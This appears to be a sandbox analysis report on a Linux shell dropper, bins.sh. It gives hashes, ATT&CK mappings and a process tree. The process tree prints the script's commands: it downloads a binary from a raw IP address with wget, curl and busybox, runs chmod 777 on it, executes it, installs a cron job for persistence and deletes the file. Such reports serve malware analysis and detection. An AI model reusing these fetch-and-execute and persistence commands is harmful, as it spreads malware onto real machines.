6635e19968c3d0cdf14b07796a656dfe56415c8586c44aa8e509c937b5245b32

General

Target

bins.sh
Size

10KB
MD5

a11f92e48c1efd2e63aed95cbe04af94
SHA1

c2de2f9e256ef84ee067c9211d373059fed96d1b
SHA256

6635e19968c3d0cdf14b07796a656dfe56415c8586c44aa8e509c937b5245b32
SHA512

78df94801ccc2831ce184b9de6a62ea70331f41cfcd9f7b112900401710d5623f4c862a1e52859316e626b608feed0c5d79fd2377d3ac8a12c2563c8365a572a
SSDEEP

192:JIc+rDhaJ8N5Lyyp1p/bLZ1Ic+rDK1peN5Lyy+G:6aJM1p/blR1pa

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

1528 chmod
Executes dropped EXE 1 IoCs

Processes:

RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

ioc pid process

/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT 1529 RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
Renames itself 1 IoCs

Processes:

RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

pid process

1530 RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.8RUEn0 crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1528	chmod

ioc	pid	process
/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT	1529	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

pid	process
1530	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.8RUEn0	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

description	ioc	process
File opened for reading	/proc/1590/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1606/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1625/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1631/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/178/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/328/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1153/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1547/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1577/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1640/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/664/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/946/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1104/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1575/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1618/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/21/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/36/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/184/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1609/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1626/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/279/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1159/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1569/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/183/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1585/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1624/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/25/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1163/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1193/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/482/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/534/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1326/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1563/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/19/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/29/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/84/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/28/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1583/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1643/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/170/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1514/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1628/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1572/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/9/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1157/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1567/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/174/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1562/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1612/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/432/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1613/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1199/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1599/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1615/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1592/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/6/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/10/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1546/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1576/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1596/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/172/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1074/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/1267/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
File opened for reading	/proc/20/cmdline	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT	wget
File opened for modification	/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT	curl
File opened for modification	/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1520
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1521
- /usr/bin/wget
  wget http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - Writes file to tmp directory
  PID:1522
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - Writes file to tmp directory
  PID:1527
- /bin/chmod
  chmod 777 RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  ./RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1529
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1531
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1532
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1533
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1534
- /bin/rm
  rm RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  PID:1536
- /usr/bin/wget
  wget http://216.126.231.240/bins/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
  2⤵
  PID:1539

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.8RUEn0

Filesize
210B

MD5
dce6d14ee0879f6c8d6d74efaf5a2761

SHA1
e858f311cf22dff04be3ffcb84e6420511eb43ca

SHA256
a91057b9bf4f92c38ad502034e9572ad0073b015cdab4a363010c50f448b78c1

SHA512
dee1f35255c9a7b7df0a6a38b4f7f3d2e2466df433ab69942d1160235ef785ba2b024b22cf7198e158f06f425b75fe16bb2a34a27c189bc8f59f8a5b444e3fb6

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads